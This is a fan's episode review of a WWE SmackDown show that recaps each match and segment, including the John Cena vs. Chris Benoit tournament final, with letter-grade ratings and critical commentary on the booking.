It’s tournament night as we have the finals to crown a new #1 contender. John Cena will be facing Chris Benoit, which is pretty much the best final they could have gone for. Cena should be the favorite after having spent weeks taunting Lesnar but Benoit is one of those cases where it’s easy to see him pulling it off. Let’s get to it.

We open with a recap of the tournament, which hasn’t been too bad so far. I’m not sure if it’s worthy of the music video treatment though.

Opening sequence.

Big Show/A-Train vs. Rey Mysterio/Tajiri

Assuming this is going to see the small guys crushed up and sprinkled on the monsters’ pizza, beating the champions last week would be rather pointless. Mysterio slugs away at A-Train to start and gets thrown into the corner for his efforts. A basement dropkick gives Rey a breather though and it’s off to Tajiri for a kick of his own. A-Train shoves them down but it’s a double dropkick to stagger him again. Big Show breaks up the 619 though and the order of the universe is restored.

Show launches Rey into the corner and it’s time for the slow motion beatdown. A pair of backbreakers has Rey in more trouble and A-Train follows up with the modified Gory Stretch. Rey gets in a tornado DDT for the breather though, setting up the hot tag to Tajiri. The handspring elbow barely connects but a springboard kick to the face gets two. Show casually throws Rey outside though, leaving A-Train to kick Tajiri in the head for the pin.

Rating: C. Questionable booking aside, this wasn’t a bad match with the smaller guys getting in some nice shots before going down. Big Show and A-Train are fine for a pair of heavies but they need something to do. Rey and Tajiri could be a perfectly fine tag team, though this isn’t the best way to help set them up.

Post match A-Train takes the mist and Rey 619s Big Show around the post. That’s REALLY not cool with Big Show. After the break, Show rants about being embarrassed so he wants to face Rey at Backlash.

Here’s Brock Lesnar for his first talk as champion. Interviewer Michael Cole goes over the shooting star and Lesnar says he was lucky to survive that. It took him five months to win the title back and he knew he had to do whatever it took. Kurt Angle is the first person to kick out of the F5 so Brock had to do something special. He had a concussion but there’s no doubt that he would do it all again. Brock talks about his respect for Angle but here’s Cena to cut him off. Where is the respect for Cena? Brock is just a white boy up in here lying to the fans.

Cena gets all fired up talking about how he’s bigger than Lesnar and the title, only to be cut off by Chris Benoit. Chris talks about how Cena has to show some respect because no one is bigger than the title. Brock calls Benoit out for not respecting him and they go nose to nose, only to have Cena demand respect from them both. Eventually Brock says they should all respect the winner of the tournament but Cena gets in a cheap shot on Benoit.

Mr. America is coming. Oh boy here we go.

Eddie Guerrero vs. Jamie Noble

Hang on as here’s Team Angle to mock Los Guerreros, who are now #1 contenders. So yeah, the Rey/Tajiri match means nothing at all. Charlie says Grandma Guerrero is the best housekeeper that money can buy, which is enough of a distraction for Noble to get in some cheap shots to start. A swinging neckbreaker gives Jamie two but an uppercut sets up Three Amigos. Eddie’s tilt-a-whirl backbreaker gets two and it’s Chavo taking care of Nidia so Eddie can frog splash Jamie for the pin.

Eddie and Chavo make gay jokes about Team Angle and win a quick brawl.

The French guys are coming. Tazz makes a joke about all the ethnic acts at the moment and he’s got a point.

Big Show vs. Rey Mysterio is official for Backlash.

We recap the FBI vs. Undertaker/Nathan Jones. They really think there’s something to the FBI? Really? Johnny gorilla pressing Rikishi should have gotten him something but that hasn’t been mentioned since.

Undertaker is going to be out a few weeks due to elbow surgery.

Earlier today, Jones nearly murdered Nunzio but settled for beating up the rest of the team instead.

Torrie is stretching when Sable comes in. She liked seeing Torrie get out of the shower last week but this time she needs help undoing her zipper. Sable unzips herself and takes her top down because she has nowhere to change. Torrie leaves though and Sable has to cover herself with her hands. Well at least they’re not hiding what they’re going for here, but we’ve covered this with Dawn Marie and it’s already been made clear that we’ve seen all we’re going to see. It doesn’t have the same effect twice in a four month stretch.

Long recap of the Hogan/Vince/Piper ordeal.

Rikishi vs. Sean O’Haire is confirmed for Backlash.

It’s time for Piper’s Pit and that could mean anything. Piper gives a rambling rant against fans on the internet, saying fans are coming out of the closet to beat people up but he likes it. We see the Snuka coconut thing from twenty years ago, followed by the same thing happening to Rikishi last week. Anyway, Piper has been looking for the modern wrestler with intelligence so here’s the champion of champions: Sean O’Haire.

Sean comes out and praises Piper, who might be even more evil than O’Haire is. Before Piper can say anything though, here’s Jimmy Snuka to send Piper through the roof. Piper sucks up to him but Jimmy says we have a problem here. Sean is ready to fight but Piper says he doesn’t need food or water because he’s self-contained.

Piper wants to bury the coconut, only to have Snuka hit him in the head. O’Haire gets involved as well but it’s Rikishi out for the save. A chair to the back drops Rikishi though and the bad guys bail. That’s enough for Rikishi to challenge Piper for next week while Snuka’s eyes are bulging as only his can. I like the idea of pushing O’Haire but this is getting very high on the list of most overbooked angles that are likely to collapse underneath their own weight.

Torrie did a Playboy signing in New York earlier this week. They’re pushing the heck out of that thing as only WWE can do.

Torrie Wilson vs. Nidia

Torrie’s gear has the Playboy logo prominently displayed. Hang on a minute though as here’s Sable to referee. Torrie and Sable stare at each other so Nidia can jump Torrie from behind. That goes nowhere so Nidia throws her into the corner, only to get caught in the headscissors solely designed for a certain angle of Torrie’s shorts. A high crossbody and basement dropkick give Torrie two but hang on as Sable has to dropkick Noble to the floor. Nidia gets caught in a tornado DDT for the fast pin.

Sable gives Torrie one of those looks.

Cruiserweight Title: Matt Hardy vs. Brian Kendrick

Matt, who really digs his book and whose favorite sushi is freshwater eel, is defending. Brian goes with a fast backslide to start and takes out Shannon Moore with a suicide dive for good measure. Back in and Matt throws him off the top though and Brian is in early trouble. Kendrick gets caught in a full nelson but he climbs the ropes and spins around to drive Matt’s head into the mat for a really cool counter. An enziguri gets two, followed by a to rope elbow for the same. Sliced Bread #2 is countered though and the Twist of Fate retains Matt’s title.

Rating: C+. Kendrick has been showing up almost everyone on this show week to week and this was no exception. It wasn’t a great match but for something that barely broke three minutes and saw Kendrick hitting some good looking stuff and barely stopping, it was quite the entertaining match. Now can we put him over someone other that Moore for a change?

The FBI is ready for revenge on Nathan Jones.

The APA went to Washington DC to visit soldiers.

Nathan Jones vs. Nunzio

Jones kicks him down and chokes a bit until the FBI comes in after less than a minute.

The Italians beat him down and crush the ankle with the steps to send Jones down to Louisville.

Mr. America is still coming. Nothing has changed in the last hour and a half.

#1 Contenders Tournament Finals: John Cena vs. Chris Benoit

Before the match, Cena says Benoit can rent the space beneath his teeth and calls him a Dynamite ripoff. Benoit takes him down to start and works on the arm for a bit. Cena is smart enough to shove the referee and nail a low blow. We hit the early chinlock for a bit before Cena reverses the first German suplex into a victory roll for a near fall. The threat of a Crossface sends Cena bailing to the floor so Benoit dives through the ropes to take him down again.

We take a break and come back with Benoit working on the arm again. Cena grabs the yet to be named Throwback for a quick two before we hit the neck crank (with their backs to the camera because they don’t know how to work). Benoit gets thrown hard into the corner but manages to suplex his way out of a chinlock.

Back up and Benoit elbows him in the face, only to get caught in something like a reverse Blue Thunder Bomb (Benoit landed at the side instead of between the legs for two. That just earns Cena the Crossface, though he’s too close to the ropes. Benoit slips out of the Death Valley Driver and tries a sunset flip but Cena drops down into a cradle for the clean pin.

Rating: B-. You have to give Cena the clean win here to make him look like a bigger threat against Lesnar, especially after the mess of the match against Undertaker last week. Benoit controlled it for the most part but Cena got in enough offense that it didn’t look like a fluke. That’s the value of someone like Benoit, who can make Cena look good but doesn’t really lose much in defeat. Good match too.

Overall Rating: C-. The main event is easily the best thing about the show but the big stories are major issues at this point. Cena vs. Lesnar is third on the show with the way overdone Piper’s Pit stuff (assuming you don’t count that as a separate story from Hogan vs. Vince) and Sable/Torrie above it. I can understand the World Title not being the biggest story on the show but sweet goodness it would be nice if one of the bigger stories was even slightly interesting.

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